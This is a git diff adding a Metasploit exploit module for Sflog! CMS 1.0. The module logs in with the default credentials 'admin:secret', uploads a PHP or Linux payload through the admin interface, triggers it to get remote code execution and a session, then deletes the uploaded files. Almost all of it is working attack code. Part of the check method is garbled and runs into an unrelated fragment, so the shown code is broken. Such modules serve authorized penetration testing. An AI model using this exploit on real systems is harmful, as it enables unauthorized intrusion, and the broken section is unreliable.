diff --git a/modules/exploits/multi/http/sflog_upload_exec.rb b/modules/exploits/multi/http/sflog_upload_exec.rb
new file mode 100644
index 000000000000..a2ac7c9be069
--- /dev/null
+++ b/modules/exploits/multi/http/sflog_upload_exec.rb
@@ -0,0 +1,215 @@
+##
+# This file is part of the Metasploit Framework and may be subject to
+# redistribution and commercial restrictions. Please see the Metasploit
+# Framework web site for more information on licensing and terms of use.
+# http://metasploit.com/framework/
+##
+
+require 'msf/core'
+
+class Metasploit3 < Msf::Exploit::Remote
+ Rank = ExcellentRanking
+
+ include Msf::Exploit::Remote::HttpClient
+ include Msf::Exploit::EXE
+
+ def initialize(info={})
+ super(update_info(info,
+ 'Name' => "Sflog! CMS 1.0 Arbitrary File Upload Vulnerability",
+ 'Description' => %q{
+ This module exploits multiple design flaws in Sflog 1.0. By default, the CMS has
+ a default admin credential of "admin:secret", which can be abused to access
+ administrative features such as blogs management. Through the management
+ interface, we can upload a backdoor that's accessible by any remote user, and then
+ gain arbitrary code execution.
+ },
+ 'License' => MSF_LICENSE,
+ 'Author' =>
+ [
+ 'dun', #Discovery, PoC
+ 'sinn3r' #Metasploit
+ ],
+ 'References' =>
+ [
+ ['OSVDB', '83767'],
+ ['EDB', '19626']
+ ],
+ 'Payload' =>
+ {
+ 'BadChars' => "\x00"
+ },
+ 'DefaultOptions' =>
+ {
+ 'ExitFunction' => "none"
+ },
+ 'Platform' => ['linux', 'php'],
+ 'Targets' =>
+ [
+ [ 'Generic (PHP Payload)', { 'Arch' => ARCH_PHP, 'Platform' => 'php' } ],
+ [ 'Linux x86' , { 'Arch' => ARCH_X86, 'Platform' => 'linux'} ]
+ ],
+ 'Privileged' => false,
+ 'DisclosureDate' => "Jul 06 2012",
+ 'DefaultTarget' => 0))
+
+ register_options(
+ [
+ OptString.new('TARGETURI', [true, 'The base directory to sflog!', '/sflog/']),
+ OptString.new('USERNAME', [true, 'The username to login with', 'admin']),
+ OptString.new('PASSWORD', [true, 'The password to login with', 'secret'])
+ ], self.class)
+ end
+
+
+ def check
+ target_uri.path << '/' if target_uri.path[-1,1] != '/'
+ base = File.dirname("#{target_uri.path}.")
+
+ res = send_request_raw({'uri'=>"#{base}/index.php"})
+
+ if not res
+ return Exploit::CheckCode::Unknown
+ elsif res and res.body =~ /\
+ |
+ php = php.gsub(/^\t\t/, '').gsub(/\n/, ' ')
+ return php
+ end
+
+
+ def on_new_session(cli)
+ if cli.type == "meterpreter"
+ cli.core.use("stdapi") if not cli.ext.aliases.include?("stdapi")
+ end
+
+ @clean_files.each do |f|
+ print_status("#{@peer} - Removing: #{f}")
+ begin
+ if cli.type == 'meterpreter'
+ cli.fs.file.rm(f)
+ else
+ cli.shell_command_token("rm #{f}")
+ end
+ rescue ::Exception => e
+ print_error("#{@peer} - Unable to remove #{f}: #{e.message}")
+ end
+ end
+ end
+
+
+ #
+ # login unfortunately is needed, because we need to make sure blogID is set, and the upload
+ # script (uploadContent.inc.php) doesn't actually do that, even though we can access it
+ # directly.
+ #
+ def do_login(base)
+ res = send_request_cgi({
+ 'method' => 'POST',
+ 'uri' => "#{base}/admin/login.php",
+ 'vars_post' => {
+ 'userID' => datastore['USERNAME'],
+ 'password' => datastore['PASSWORD']
+ }
+ })
+
+ if res and res.headers['Set-Cookie'] =~ /PHPSESSID/ and res.body !~ /\Access denied\!\<\/i\>/
+ return res.headers['Set-Cookie']
+ else
+ return ''
+ end
+ end
+
+
+ #
+ # Upload our payload, and then execute it.
+ #
+ def upload_exec(cookie, base, php_fname, p)
+ data = Rex::MIME::Message.new
+ data.add_part('download', nil, nil, "form-data; name=\"blogID\"")
+ data.add_part('7', nil, nil, "form-data; name=\"contentType\"")
+ data.add_part('3000', nil, nil, "form-data; name=\"MAX_FILE_SIZE\"")
+ data.add_part(p, 'text/plain', nil, "form-data; name=\"fileID\"; filename=\"#{php_fname}\"")
+
+ # The app doesn't really like the extra "\r\n", so we need to remove the newline.
+ post_data = data.to_s
+ post_data = post_data.gsub(/^\r\n\-\-\_Part\_/, '--_Part_')
+
+ print_status("#{@peer} - Uploading payload (#{p.length.to_s} bytes)...")
+ res = send_request_cgi({
+ 'method' => 'POST',
+ 'uri' => "#{base}/admin/manage.php",
+ 'ctype' => "multipart/form-data; boundary=#{data.bound}",
+ 'data' => post_data,
+ 'cookie' => cookie,
+ 'headers' => {
+ 'Referer' => "http://#{rhost}#{base}/admin/manage.php",
+ 'Origin' => "http://#{rhost}"
+ }
+ })
+
+ if not res
+ print_error("#{@peer} - No response from host")
+ return
+ end
+
+ target_path = "#{base}/blogs/download/uploads/#{php_fname}"
+ print_status("#{@peer} - Requesting '#{target_path}'...")
+ res = send_request_raw({'uri'=>target_path})
+ if res and res.code == 404
+ print_error("#{@peer} - Upload unsuccessful: #{res.code.to_s}")
+ return
+ end
+
+ handler
+ end
+
+
+ def exploit
+ @peer = "#{rhost}:#{rport}"
+
+ target_uri.path << '/' if target_uri.path[-1,1] != '/'
+ base = File.dirname("#{target_uri.path}.")
+
+ print_status("#{@peer} - Attempt to login as '#{datastore['USERNAME']}:#{datastore['PASSWORD']}'")
+ cookie = do_login(base)
+
+ if cookie.empty?
+ print_error("#{@peer} - Unable to login")
+ return
+ end
+
+ php_fname = "#{Rex::Text.rand_text_alpha(5)}.php"
+ @clean_files = [php_fname]
+
+ case target['Platform']
+ when 'php'
+ p = ""
+ when 'linux'
+ bin_name = "#{Rex::Text.rand_text_alpha(5)}.bin"
+ @clean_files << bin_name
+ bin = generate_payload_exe
+ p = get_write_exec_payload("/tmp/#{bin_name}", bin)
+ end
+
+ upload_exec(cookie, base, php_fname, p)
+ end
+end